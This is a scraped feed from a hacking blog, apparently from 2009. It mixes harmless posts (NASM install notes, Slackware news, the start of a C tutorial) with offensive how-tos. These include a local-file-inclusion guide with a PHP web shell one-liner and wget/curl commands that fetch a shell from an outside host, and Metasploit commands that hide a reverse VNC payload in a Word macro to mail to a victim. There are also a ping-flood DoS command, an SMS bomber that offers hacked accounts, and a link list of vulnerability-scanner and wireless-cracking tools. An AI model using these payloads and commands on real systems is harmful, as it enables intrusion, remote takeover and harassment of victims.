assemblers. But please, please send us bug reports, fixes, helpful information, and anything else you can get your hands on (and thanks to the many people who've done this already! You all know who you are), and we'll improve it out of all recognition. Again.&lt;br /&gt;&lt;br /&gt;Installing NASM under Unix&lt;br /&gt;&lt;br /&gt;Once you've obtained the Unix source archive for NASM, nasm-X.XX.tar.gz (where X.XX denotes the version number of NASM contained in the archive), unpack it into a directory such as /usr/local/src. The archive, when unpacked, will create its own subdirectory nasm-X.XX.&lt;br /&gt;&lt;br /&gt;NASM is an auto-configuring package: once you've unpacked it, cd to the directory it's been unpacked into and type ./configure. This shell script will find the best C compiler to use for building NASM and set up Makefiles accordingly.&lt;br /&gt;&lt;br /&gt;Once NASM has auto-configured, you can type make to build the nasm and ndisasm binaries, and then make install to install them in /usr/local/bin and install the man pages nasm.1 and ndisasm.1 in /usr/local/man/man1. Alternatively, you can give options such as --prefix to the configure script (see the file INSTALL for more details), or install the programs yourself.&lt;br /&gt;&lt;br /&gt;NASM also comes with a set of utilities for handling the RDOFF custom object-file format, which are in the rdoff subdirectory of the NASM archive. You can build these with make rdf and install them with make rdf_install, if you want them.&lt;br /&gt;&lt;br /&gt;If NASM fails to auto-configure, you may still be able to make it compile by using the fall-back Unix makefile Makefile.unx. Copy or rename that file to Makefile and try typing make. There is also a Makefile.unx file in the rdoff subdirectory.&lt;br /&gt;&lt;br /&gt;What's New in This Release: [ read full changelog ]&lt;br /&gt;&lt;br /&gt;· NASM is now under the 2-clause BSD license. See section 1.1.2.&lt;br /&gt;· Fix the section type for the .strtab section in the elf64 output format.&lt;br /&gt;· Fix the handling of COMMON directives in the obj output format.&lt;br /&gt;· New ith and srec output formats; these are variants of the bin output format which output Intel hex and Motorola S-records, respectively. See section 7.2 and section 7.3.&lt;br /&gt;· rdf2ihx replaced with an enhanced rdf2bin, which can output binary, COM, Intel hex or Motorola S-records.&lt;br /&gt;· The Windows installer now puts the NASM directory first in the PATH of the "NASM Shell".&lt;br /&gt;· Revert the early expansion behavior of %+ to pre-2.06 behavior: %+ is only expanded late.&lt;br /&gt;· Yet another Mach-O alignment fix.&lt;br /&gt;· Don't delete the list file on errors. Also, include error and warning information in the list file.&lt;br /&gt;· Support for 64-bit Mach-O output, see section 7.8.&lt;br /&gt;· Fix assert failure on certain operations that involve strings with high-bit bytes.&lt;br /&gt;&lt;br /&gt;refrence:http://linux.softpedia.com/get/Programming/Compilers/NASM-The-Netwide-Assembler-643.shtml&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-8590010352303522001?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/8590010352303522001/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/09/nasm-netwide-assembler-description.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/8590010352303522001'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/8590010352303522001'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/09/nasm-netwide-assembler-description.html' title='NASM - The Netwide Assembler description'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-2486900771902600975</id><published>2009-09-12T16:19:00.000-07:00</published><updated>2009-09-12T16:21:31.558-07:00</updated><title type='text'>What you can use LFI for???</title><content type='html'>Allright, so i got this question often... Some guy got a LFI vuln some place but, what the fuck do i use it for?&lt;br /&gt;&lt;br /&gt;Well, there is a few things you can do with it..&lt;br /&gt;&lt;br /&gt;1. If /etc/passwd contains the user password on the system you can use ssh(assuming they got ssh and uses the users on the system as login) or if someone is a fucking idiot and make /etc/shadow readeble for anyone if /etc/passwd is just x'ed out... If on windows machine maybe you can include the SAM file? dunno..&lt;br /&gt;&lt;br /&gt;2. You can try to include the error or access log and then telnet to the server and make it write php code to error or access log that way you can get a shell! Also if error eller access logg loggs user agent or other shit you can just browse the page with php in the useragent then include it&lt;br /&gt;&lt;br /&gt;3. If its a shared host or a server with more pages on it you can try to find upload forms etc etc on the other pages hosted on the same server, then make a image containing php code inside it, then include it from the page you want to hack, that way getting shell access! You can ofc do this on the same domain to, if it got some kindof upload form, and it dosent need to be images, can be documents or pdf's, anything!&lt;br /&gt;&lt;br /&gt;4. Finding config or other interesting files... Many idiots store their ftp and or ssh info in .txt or doc files outside the www dir, but if you got LFI you can include those anyway! Takes a bit time trying out file names and shit trouth xD Also .config files or config.php files can contain things like root mysqld info and that can lead to more interesting stuff! Also, maybe a page got a basic login system with reading from a config.php so you can get admin access on the page..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5. if its site and forum you can upload image with aribitary code then include and execute it..&lt;br /&gt;&lt;br /&gt;6. You even can make it vnl to LFI&lt;br /&gt;Code:&lt;br /&gt;&lt;blockquote&gt;&lt;? passthru($_GET['cmd']); ?&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;then&lt;br /&gt;Code:&lt;br /&gt;&lt;blockquote&gt;http://anything.org/index.php?action=../proc/self/environ?cmd=curlhttp://zero-thunder.com/mu.txt -o zero.php&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;and the shell will be up like this&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;blockquote&gt;http://anything.org/zero.php&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;7. or u can do something like this ..&lt;br /&gt;if proc/self/environ is accessible you can&lt;br /&gt;Code:&lt;br /&gt;&lt;blockquote&gt;&lt;?system('wget http://zero-thunder.com/mu.txt -O zero.php');?&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;zero.php is the shell and the server will download&lt;br /&gt;Code:&lt;blockquote&gt;&lt;br /&gt;http://zero-thunder.com/mu.txt&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;and it will save it as zero.php and u will get something like this&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;blockquote&gt;http://anything.org/zero.php&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;reference:cyberterrorist&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-2486900771902600975?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/2486900771902600975/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/09/what-you-can-use-lfi-for.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/2486900771902600975'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/2486900771902600975'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/09/what-you-can-use-lfi-for.html' title='What you can use LFI for???'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-1686712197290691802</id><published>2009-09-12T13:56:00.000-07:00</published><updated>2009-09-12T13:57:34.610-07:00</updated><title type='text'>Metasploit: Reverse VNC hidden in a Word file</title><content type='html'>Today i will show u how to use Metasploit payload feature for Reverse VNC connection which can be hidden in a Word file and get VNC desktop of the remote user&lt;br /&gt;&lt;br /&gt;Metasploit will create a macro for Word, which once implemented when a user opens the word file we get a reverse VNC of the target system ,where the Word file contains the macro, even antvirus cant detect It,&lt;br /&gt;&lt;br /&gt;there is no required of VNC installed in the Victim PC&lt;br /&gt;u can also do this in WAN also only thing is u should port forward ur 4444 port in ur modem or router&lt;br /&gt;&lt;br /&gt;Lets begin&lt;br /&gt;&lt;br /&gt;1) Create a Macro to Intergate with word&lt;br /&gt;&lt;br /&gt;./msfpayload windows/vncinject/reverse_tcp LHOST=192.168.147.128 V &gt; /tmp/punter.bas&lt;br /&gt;&lt;br /&gt;2) copy that punter.bas file in windows now go to windows&lt;br /&gt;and open ur office 2003 –&gt;tools–&gt;macro–&gt;visualbasic editor&lt;br /&gt;then go to File–&gt;import file–&gt; and choose the punter.bas and save it with a name ex: macrogame.doc&lt;br /&gt;now send this file to victim via mail or some other technique for this demo i will open in my system&lt;br /&gt;&lt;br /&gt;3)now in Backtrack type this command&lt;br /&gt;&lt;br /&gt;./msfcli multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=192.168.147.128 DisableCourtesyShell=True E&lt;br /&gt;&lt;br /&gt;When the target on the windows open the file, it will be asked if he/she wished to accept or not run the macro, if it accepts, the connection will be initiated, and the VNC client will open on the post BackTrack.&lt;br /&gt;not run the macro, if it accepts, the connection will be initiated, and the VNC client will open on the post BackTrack.&lt;br /&gt;&lt;br /&gt;Video link for the above guide&lt;br /&gt;&lt;br /&gt;http://blip.tv/file/1847504&lt;br /&gt;&lt;br /&gt;http://wirelesspunter.blip.tv&lt;br /&gt;&lt;br /&gt;reference:darkc0de&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-1686712197290691802?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/1686712197290691802/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/09/metasploit-reverse-vnc-hidden-in-word.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1686712197290691802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1686712197290691802'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/09/metasploit-reverse-vnc-hidden-in-word.html' title='Metasploit: Reverse VNC hidden in a Word file'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-4900928567250279685</id><published>2009-09-08T23:50:00.000-07:00</published><updated>2009-09-08T23:52:18.746-07:00</updated><title type='text'>SMS Bomber by AlphaDog</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i29.tinypic.com/wce3c8.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 1152px; height: 864px;" src="http://i29.tinypic.com/wce3c8.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;SMS Bomber by AlphaDog&lt;br /&gt;&lt;br /&gt;-Spams Cell Phones With Text Messages (SMS Bombing)&lt;br /&gt;&lt;br /&gt;-Use&lt;br /&gt;&lt;br /&gt;1.Select a smtp server &amp; Port, The givin smtp svr and prt is for Gmail accounts&lt;br /&gt;SMTP is the incoming and outgoing connection w/e this uses out going, smtp is used for every mailing system.&lt;br /&gt;&lt;br /&gt;2.Type in the account information , email info / email and pass , if you don't want to use your account just select one of the ready hacked ones ..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3.Fill :&lt;br /&gt;  -Victims cell number&lt;br /&gt;   -How many to spam&lt;br /&gt;   -Provider&lt;br /&gt;&lt;br /&gt;4.Type in message&lt;br /&gt;&lt;br /&gt;5.Start Tongue&lt;br /&gt;&lt;br /&gt;*Note that this program may harm your PC if you have CPU like Pentium 3 or older ...&lt;br /&gt;&lt;br /&gt;so that's about it ... as you see its 1.0 so there will be updates .. i will try to imput providers  providers from Macedonia and 2-3  other countries.&lt;br /&gt;&lt;br /&gt;DOWNLOAD:&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;http://rapidshare.com/files/277283168/AlphaDog_SMS_Bomber.rar.html&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Enjoy...................... &lt;br /&gt;&lt;br /&gt;refrence:evilzone&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-4900928567250279685?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/4900928567250279685/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/09/sms-bomber-by-alphadog.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/4900928567250279685'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/4900928567250279685'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/09/sms-bomber-by-alphadog.html' title='SMS Bomber by AlphaDog'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i29.tinypic.com/wce3c8_th.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-705279845774764958</id><published>2009-09-08T07:10:00.000-07:00</published><updated>2009-09-08T07:18:42.082-07:00</updated><title type='text'>How To Send DoS Attack With CMD</title><content type='html'>Q: what is dos ??&lt;br /&gt;A: Denial of Service (DoS) attackes are aggressive attacks on an individual Computer or WebSite with intent to deny services to intended users.&lt;br /&gt;DoS attackes can target end-user systems, servers, routers and Network links(websites)&lt;br /&gt;&lt;br /&gt;Requirments:&lt;br /&gt;1- Command Prompt (CMD or DOS) Which is usually integrated in all Windows.&lt;br /&gt;2- Ip-Address of Targeted Site.&lt;br /&gt;&lt;br /&gt;How TO GET IP OF ANY SITE??"&lt;br /&gt;No problem.. here is the solution..&lt;br /&gt;open ur CMD (command prompt).. and type&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;ping www.yoursitename.com&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;nslookup yoursite .com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;It will show u ip of the site.&lt;br /&gt;&lt;br /&gt;ohk now write this command in CMD For Attack on Any Site/ Server..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------&gt; ping SITE-IP -l 65500 -n 10000000 -w 0.00001 &lt;------&lt;br /&gt;&lt;br /&gt;Here -n 10000000= the number of DoS attemps.. u can change the value "10000000" with ur desired value u want to attempt attack.&lt;br /&gt;&lt;br /&gt;SITE-IP= Replace the text with the ip address of the site u want to be attacked..&lt;br /&gt;&lt;br /&gt;-w 0.00001 = It is the waiting time after one ping attack.&lt;br /&gt;&lt;br /&gt;NOTE: Dont Change or Remove -l, -n and -w in this command.. otherwise u will not able to attack!!&lt;br /&gt;&lt;br /&gt;reference:cyberterorist forum..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-705279845774764958?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/705279845774764958/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/09/how-to-send-dos-attack-with-cmd.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/705279845774764958'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/705279845774764958'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/09/how-to-send-dos-attack-with-cmd.html' title='How To Send DoS Attack With CMD'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-7036196064944503584</id><published>2009-09-01T23:02:00.001-07:00</published><updated>2009-09-01T23:04:08.934-07:00</updated><title type='text'>URL Dumper V.2 BIN and Source Code!</title><content type='html'>URL Dumper is an Online scanner coded by me with VB.NET in the last years ago..&lt;br /&gt;Used too get XSS and SQL Injections vulns.. supports multi search engine, trash system, etc..&lt;br /&gt;&lt;br /&gt;Features:&lt;br /&gt;-Get all page links by advanced technique with regular expression;&lt;br /&gt;-XSS Scanner (auto check all page links);&lt;br /&gt;-SQLInjection Scanner (auto check all page links);&lt;br /&gt;-Multi-Thread engine;&lt;br /&gt;-Get many links by search (google/Yahoo/Live Search/Altavista/Terravista)&lt;br /&gt;-Search in the page source by regular expression;&lt;br /&gt;-View Source (Code/Browser);&lt;br /&gt;-Trash system&lt;br /&gt;-Database in SQLite to organize the URL’s&lt;br /&gt;-Enabled Proxy server&lt;br /&gt;-Etc..&lt;br /&gt;&lt;br /&gt;Coded by me with vb.net 2008&lt;br /&gt;&lt;br /&gt; Screen Shot:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img510.imageshack.us/img510/1110/02oi3.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 688px; height: 527px;" src="http://img510.imageshack.us/img510/1110/02oi3.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Download BIN: &lt;a href="http://rs412.rapidshare.com/files/182933272/URL_Dumper_2.0_BIN.rar"&gt;&lt;/a&gt;&lt;br /&gt;Download SRC: &lt;a href="http://rapidshare.com/files/182933656/URL_Dumper_2.0_SRC.rar"&gt;&lt;/a&gt;&lt;br /&gt;Tags: URL Dump oficial blog URL Dumper URL Dumper Source Code for free URL Dumper v.2 XSS and SQL Injection scanner;free tool&lt;br /&gt;&lt;br /&gt;reference:http://flash.i.ph/blogs/flash/2009/01/20/url-dumper-v2/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-7036196064944503584?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/7036196064944503584/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/09/url-dumper-v2-bin-and-source-code.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7036196064944503584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7036196064944503584'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/09/url-dumper-v2-bin-and-source-code.html' title='URL Dumper V.2 BIN and Source Code!'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-5793808831290342218</id><published>2009-09-01T06:51:00.000-07:00</published><updated>2009-09-01T06:54:06.767-07:00</updated><title type='text'>Slackware 13.0 Officially Supported on x86_64 Processors</title><content type='html'>After a long wait, Slackware fans are finally able to rejoice, as Patrick J. Volkerding announced late yesterday that Slackware 13.0 was available at last. The changes definitely warrant the major version bump, since this release has a number of unique features that its predecessor wasn't capable of, like running natively on 64-bit processors, improved X Window System that doesn't require an xorg.conf file and a massively overhauled set of build scripts.&lt;br /&gt;&lt;br /&gt;Volkerding's enthusiasm about this release is visible in his announcement: "Yes it's that time again! After many months of development and careful testing, we are proud to announce the release of Slackware version 13.0! We are sure you'll agree that the improvements made in this release more than warrant the major version bump up from the 12.x series. We've done our best to bring the latest technology to Slackware while still maintaining the stability and security that you have come to expect."&lt;br /&gt;&lt;br /&gt;The low-level functions are provided by the Linux kernel, version 2.6.29.6, which makes the system faster and includes support for the X Direct Rendering Interface that enables the display of hardware accelerated 3D graphics. Also, the kernel is patched to support speech synthesizers, a very useful function for the visually impaired users. A core change since Slackware 12.2 is that some devices, like network hardware, are now initialized at install time, and the new udev scripts are tweaked to give normal users a seamless experience when managing their devices.&lt;br /&gt;&lt;br /&gt;On top of that kernel you can have by default one of the two supported desktop environments: KDE 4.2.4 or Xfce 4.6.1. GNOME fans won't feel totally stranded, as Pidgin 2.5.9, Gimp-2.6.6 and xChat 2.8.6 are included. The other applications are what you would expect from a modern operating system, with Firefox 3.5.2 on board, as well as Thunderbird 2.0.0.23. Programmers will surely enjoy the new development tools, like Perl 5.10.0, Python 2.6.2, Ruby 1.8.7-p174, Subversion 1.6.4, Git 1.6.4, Mercurial 1.2.1.&lt;br /&gt;&lt;br /&gt;Download Slackware 13.0 right now from Softpedia.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-5793808831290342218?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/5793808831290342218/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/09/slackware-130-officially-supported-on.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/5793808831290342218'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/5793808831290342218'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/09/slackware-130-officially-supported-on.html' title='Slackware 13.0 Officially Supported on x86_64 Processors'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-5927584506109020207</id><published>2009-08-29T01:22:00.000-07:00</published><updated>2009-08-29T01:24:53.603-07:00</updated><title type='text'>Wardriving tools</title><content type='html'>The Cain &amp; Abel:&lt;br /&gt;&lt;blockquote&gt;http://www.softmania.pl/program-1807-cain_abel.html#m&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The AirSnort:&lt;br /&gt;&lt;blockquote&gt;http://www.softmania.pl/program-1806-airsnort.html#m&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The Wireshark:&lt;br /&gt;&lt;blockquote&gt;http://www.softmania.pl/program-1811-wireshark.html#m&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;The AirCrack 1.0 (Windows &amp; Linux):&lt;br /&gt;&lt;blockquote&gt;http://download.aircrack-ng.org/&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The AirPcap:&lt;br /&gt;&lt;blockquote&gt;http://www.softmania.pl/program-1813-airpcap_driver.html#m&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The WinPcap:&lt;br /&gt;&lt;blockquote&gt;http://www.softmania.pl/program-1810-winpcap.html#m&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The Net Stumbler:&lt;br /&gt;&lt;blockquote&gt;http://www.softmania.pl/program-1809-netstumbler.html#&lt;/blockquote&gt;m&lt;br /&gt;&lt;br /&gt;The AirTraf:&lt;br /&gt;&lt;blockquote&gt;http://www.elixar.com/corporate/history/airtraf-1.0/airtraf_download.php&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The Kismet:&lt;br /&gt;&lt;blockquote&gt;http://www.idg.pl/ftp/linux_740/Kismet.2005.06.R1.html&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The AirJack:&lt;br /&gt;&lt;blockquote&gt;http://sourceforge.net/projects/airjack/&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The AiroMap:&lt;br /&gt;&lt;blockquote&gt;http://handheld.softpedia.com/get/GPS/AiroMap-60181.shtml&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The WiFi Hopper:&lt;br /&gt;&lt;blockquote&gt;http://wifihopper.com/&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The WepCrack:&lt;br /&gt;&lt;blockquote&gt;http://sourceforge.net/projects/wepcrack/&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The WirelessMon:&lt;br /&gt;&lt;blockquote&gt;http://www.passmark.com/products/wirelessmonitor.htm&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;download the tools for makin better&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-5927584506109020207?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/5927584506109020207/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/wardriving-tools.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/5927584506109020207'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/5927584506109020207'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/wardriving-tools.html' title='Wardriving tools'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-1317777402666339427</id><published>2009-08-22T16:58:00.000-07:00</published><updated>2009-08-22T17:21:32.628-07:00</updated><title type='text'>C tutorial [Chapter 1]</title><content type='html'>[Introduction]&lt;br /&gt;The purpose of this tutorial is to learn how to use C with some of its best features like pointers, process and thread creation, semaphores and signal handling. Of course to learn how to do all this we need to start from the beginning.&lt;br /&gt;This is not a basic programming tutorial. If you don't know how the art of programming works this is not a tutorial for you. C is a very complex language if you are a beginner. Try Python or even Java if you want to start with something easy then you will be prepared to learn this awesome language.&lt;br /&gt;I love Linux. Linux loves C. I don't know if any of the techniques exposed here work in a Windows machine... I really don't care if they work... Linux is a very efficient OS. I won't explain why, but in the references below, you will find the book that explains why any Unix based system is better than any flavor of Windows.&lt;br /&gt;&lt;br /&gt;[In the beginning there was darkness]&lt;br /&gt;Lets learn some syntax first:&lt;br /&gt;&lt;br /&gt;Variable types&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    &lt;blockquote&gt;int: Integer&lt;br /&gt;    char: Character&lt;br /&gt;    float: Float&lt;br /&gt;    char* or char[]: Strings&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Among others...&lt;br /&gt;&lt;br /&gt;Assignment&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    &lt;blockquote&gt;int intName = 10;&lt;br /&gt;    char charName = 48; // "0"&lt;br /&gt;    char* str1Name = "Hello World";&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;IF-ELSE IF-ELSE statements&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;    if(condition1){&lt;br /&gt;        Instructions&lt;br /&gt;    }else if(condition2){&lt;br /&gt;        Instructions    &lt;br /&gt;    ...&lt;br /&gt;    }else if(conditionN){&lt;br /&gt;        Instructions&lt;br /&gt;    